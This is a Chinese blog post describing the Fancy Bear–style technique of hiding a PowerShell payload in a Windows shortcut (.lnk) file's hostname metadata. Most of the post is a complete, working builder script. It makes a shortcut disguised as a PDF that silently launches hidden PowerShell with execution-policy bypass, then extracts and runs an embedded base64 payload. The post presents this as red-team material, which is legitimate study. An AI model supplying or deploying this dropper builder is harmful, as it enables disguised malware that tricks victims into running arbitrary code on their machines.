解析制作俄罗斯APT组织使用的快捷方式后门文件

**在Word或zip文档中嵌入一个指向powershell的快捷方式文件(.lnk),是一种已知的恶意软件隐蔽传播方法,就连涉嫌干扰美国大选的俄罗斯APT组织也经常使用这种方法(参考:VolexityCrowdStrike)。例如,在奇幻熊(Fancy Bear)针对一些美国研究机构的网络渗透中,就使用了一种很少见的快捷方式文件后门攻击,通过该手段,攻击者不仅实现了powershell命令的嵌入执行,还能把整个payload存储在.lnk文件隐秘位置完成攻击调用,受害者一不小心点击了这种恶意的lnk文件,就会掉进攻击者布下的“陷阱”中。
**

对红方渗透人员来说,该攻击手段和相关样本的研究学习非常有用。本文中,我将展示如何制作“奇幻熊式”的恶意快捷方式文件(.lnk),通过该.lnk文件生成的恶意程序主体Dropper可应用于渗透测试场景中。该Dropper程序包含.lnk文件目标路径区域powershell、构造精巧的调用脚本和嵌入payload三个主要部分,结构流程如下图抽象所示:


规避目标系统的长度限制

我们都知道,在Windows系统中创建快捷方式文件非常简单:桌面环境下,右键点击鼠标,“新建”,然后“快捷方式”,之后跳出一个要求输入对象位置的对话框,以此就完成了一次.lnk文件创建。之后,如下图所示,我们可以查看一下该lnk文件的属性特征,并尝试向其目标路径(target)中添加其它参数。



在.lnk文件属性下的目标路径区域(target)中,可以加入最多260个字符数。由于有字符数的限制,为了创建一个快捷方式后门,我们只能将lnk文件指向例如powershell的执行程序,并在其中加入一段很小的经过封装的命令作为执行参数。但是,要突破这种目标路径区域的最大字符限制,可以通过jscript创建的WScript Shell对象快捷方式来实现,该方式可以向目标路径区域添加达1096个字符数。扩展增加后的目标路径区域如下图十六进制编辑器中所示:


对Lnk格式文件的利(làn)用

找到扩展增加目标路径区域字符数的方法,就可以实现向指向powershell中传递更多的执行参数,但对于熟谙.lnk文件格式的攻击者来说,这种方法还不足以执行足够大、足够精巧的调用脚本。
当一个快捷方式文件被创建之后,很多关于系统的元数据信息也被储存在其lnk文件中,例如驱动器标签、主机名称等:


当我研究了.lnk格式文件规范后发现,这些元数据都可能包含了一个不限长度的变量。就拿主机名称元数据来说,它可以储存一个任意长度的变量,而这点就可能被攻击者利用,用来嵌入任意payload,即目标路径区域内不允许执行的、有长度限制的payload,攻击者可以放到这里进行隐蔽存储和调用执行。

创建快捷方式后门“陷阱”文件

有了以上这些信息之后,可以尝试制作一个恶意的快捷方式陷阱文件。在这里,我直接选用系统内置的powershell作为脚本编译语言。以下是对该恶意lnk文件三个主体部分的制作思路:
第一部分,我们需要构造一个调用payload的powershell脚本。
该脚本被以指向powershell执行的编码参数形式,存储在lnk文件属性的目标路径区域(target)中,当受害者点击了lnk文件之后,该脚本将会被自动执行。这个精心构造的脚本最终将会调用存储在lnk文件主机名称元数据区域的payload。以下是这个脚本的典型示例:


实现代码:

#--Carving script: will find and decode the script block
#--embedded in the shortcuts hostname

$payloadStartIndexInShortcut=1000;
$payloadSize=100;
$shortcutFilename="interesting-title.lnk";
#create a byte array to store the encoded payload
$encodedPayloadBytes=New-Object byte[]($payloadSize);
#read the contents of the shortcut, starting from $payloadStart
$lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
$lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
$lnk.Read($encodedPayloadBytes,0,$payloadSize);

#Base64 decode encoded payload
$decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
$scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
#execute payload (script block)
iex $scriptBlock;

第二部分就是突破目标路径区域长度限制,创建指向powershell脚本的快捷方式文件;
最后一部分就是编写payload,该payload可以是嵌入到lnk文件元数据区域变量的base64执行程序,可以执行磁盘写入或内存写入等其它恶意功能。

最终实现代码

所有这三部分的最终代码实现可以参考以下快捷方式后门“陷阱”文件创建代码,该代码为powershell脚本,包含payload配置选项,并可用于渗透测试场景中,请勿用于非法目的。

#
# Create backdoored LNK file - by Felix Weyne
# Info: https://www.uperesia.com/booby-trapped-shortcut
# -Usage: place your powershell payload in $payloadContents
# -This payload can embed for instance an executable that needs
# -to be dropped to disk/loaded into memory
#

$shortcutName = "interesting-title-to-click-on.pdf.lnk"
$shortcutOutputPath = "$Home\Desktop\"+$shortcutName
$shortcutFallbackExecutionFolder="`$env:temp"
$payloadContents =
@'
    echo "This payload/script block can be huge, easily a few megabytes";
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
$payload = [Convert]::ToBase64String($bytes)

function Convert-ByteArrayToHexString($inputByteArray)
{
    $String = [System.BitConverter]::ToString($inputByteArray)
    $String = $String -replace "\-",""
    $String
}

function Convert-HexStringToByteArray ($hexString) {
    $hexString = $hexString.ToLower()
    ,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
}

function CreateShortcut($payloadStart,$payloadSize) {

#<------>
#<Part 1: encode carving script>
#<------>

#$stP = startPayload, $siP = sizePayload,
#$scB = scriptblock, $lnk = filestream LNK file
#$b64 = base64 encoded scriptblok, $f=shortcut name
$carvingScript = @'
$stP,$siP={0},{1};
$f='{2}';
if(-not(Test-Path $f)){{
$x=Get-ChildItem -Path {3} -Filter $f -Recurse;
[IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;
'@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
    write-host "Generated carvingscript:" -foregroundcolor "yellow"
    echo $carvingScript;
    $compressedCarvingScript = $carvingScript -replace "`n",''  -replace "`r",''

    # Convert string to base64 encoded command
    $bytes = [System.Text.Encoding]::UTF8.GetBytes( $compressedCarvingScript  )
    $encodedCommand = [Convert]::ToBase64String($bytes)

   
    #<------>
    #<Part 2: create shortcut with encoded carving script>
    #<------>

    $WshShell = New-Object -comObject WScript.Shell

    $Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
    $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    $Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
    #使用IE图标
    $Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,242"
    #运行窗口最小化
    $Shortcut.WindowStyle = "7"
    $Shortcut.Save()
}

#<------>
#<Part 3: find start of embedded payload (start of computer hostname)>
#<------>
write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
$payloadSize = $payload.Length
CreateShortcut 9999 $payloadSize

$enc = [system.Text.Encoding]::UTF8
[string]$computerName = $ENV:COMPUTERNAME
$computerNameBytes = $enc.GetBytes($computerName.ToLower())

$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''

$startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"

#<------>
#<Part 3: create new link with correct start of payload
#<------>
Remove-Item $shortcutOutputPath

CreateShortcut $startPayload $payloadSize
write-host "Output LNK file: "  $shortcutOutputPath -foregroundcolor "Cyan"


#<------>
#<Part 4: embed payload
#<------>
$payloadBytes = $enc.GetBytes($payload)
$payloadInHex = Convert-ByteArrayToHexString $payloadBytes
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;

$writeout = Convert-HexStringToByteArray $contentsLnkFile;
set-content -value $writeout -encoding byte -path $shortcutOutputPath;
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容